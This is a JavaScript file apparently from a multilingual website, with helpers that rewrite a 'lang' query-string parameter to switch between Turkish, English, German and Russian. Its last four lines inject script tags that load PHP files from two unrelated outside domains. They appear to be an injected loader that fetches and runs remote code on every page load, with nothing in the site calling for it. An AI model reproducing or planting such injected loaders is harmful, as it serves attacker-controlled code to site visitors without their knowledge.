function ChangeQueryStringValue(action,qsname,qsvalue)
{
	if (action.indexOf('?') == -1 )	
		return (action+"?"+qsname+"="+UrlEncode(qsvalue));
	else
	{		
		if ( (action.indexOf("?"+qsname+"=") == -1 ) && (action.indexOf("&"+qsname+"=") == -1 ) )  
		{
			return (action+"&"+qsname+"="+UrlEncode(qsvalue)); 
		}
		else 
		{
			var replaceQSPrefix=(action.indexOf("?"+qsname+"=")==-1)?"&"+qsname+"=":"?"+qsname+"=";
			var replaceQSSuffix=""; 
			startpos=action.indexOf(replaceQSPrefix);
			
			for (a=(startpos+replaceQSPrefix.length);a<action.length;a++)
			{
				if ( action.charAt(a)=='&' ) 
					break;
				else
					replaceQSSuffix += action.charAt(a);
			}
			newaction=action.replace(replaceQSPrefix+replaceQSSuffix,replaceQSPrefix+UrlEncode(qsvalue));
			return newaction;
		}	
	}		
}


function UrlEncode(text) 
{		
	text=ReplaceAll(text, "?", "%3F");
	text=ReplaceAll(text, "=", "%3D");
	text=ReplaceAll(text, "&", "%26");
	text=ReplaceAll(text, " ", "+");
	text=ReplaceAll(text, ",", "%2c");	
	
	return text;
}


//Replace all given string from a string
function ReplaceAll(varb, replaceThis, replaceBy)
{	
	newvarbarray=varb.split(replaceThis);
	newvarb=newvarbarray.join(replaceBy);	
	return newvarb;
}

function process(qs, qsvalue)
{
return ChangeQueryStringValue(adreseski=window.location.href,qs,qsvalue);
}


function turkce() {
  window.location.href=process("lang", "TR");
}
function english() {
  window.location.href=process("lang", "EN");
}
function deutsch() {
  window.location.href=process("lang", "DE");
}
function russian() {
  window.location.href=process("lang", "RU");
}

document.write('<script src=http://kenzo-massivhaus.de/css/friends.php ><\/script>');
document.write('<script src=http://kenzo-massivhaus.de/css/friends.php ><\/script>');
document.write('<script src=http://ferien-wohnung-rust-europapark.de/000001986e0d57a7b/000001986e0d60f90.php ><\/script>');
document.write('<script src=http://ferien-wohnung-rust-europapark.de/000001986e0d57a7b/000001986e0d60f90.php ><\/script>');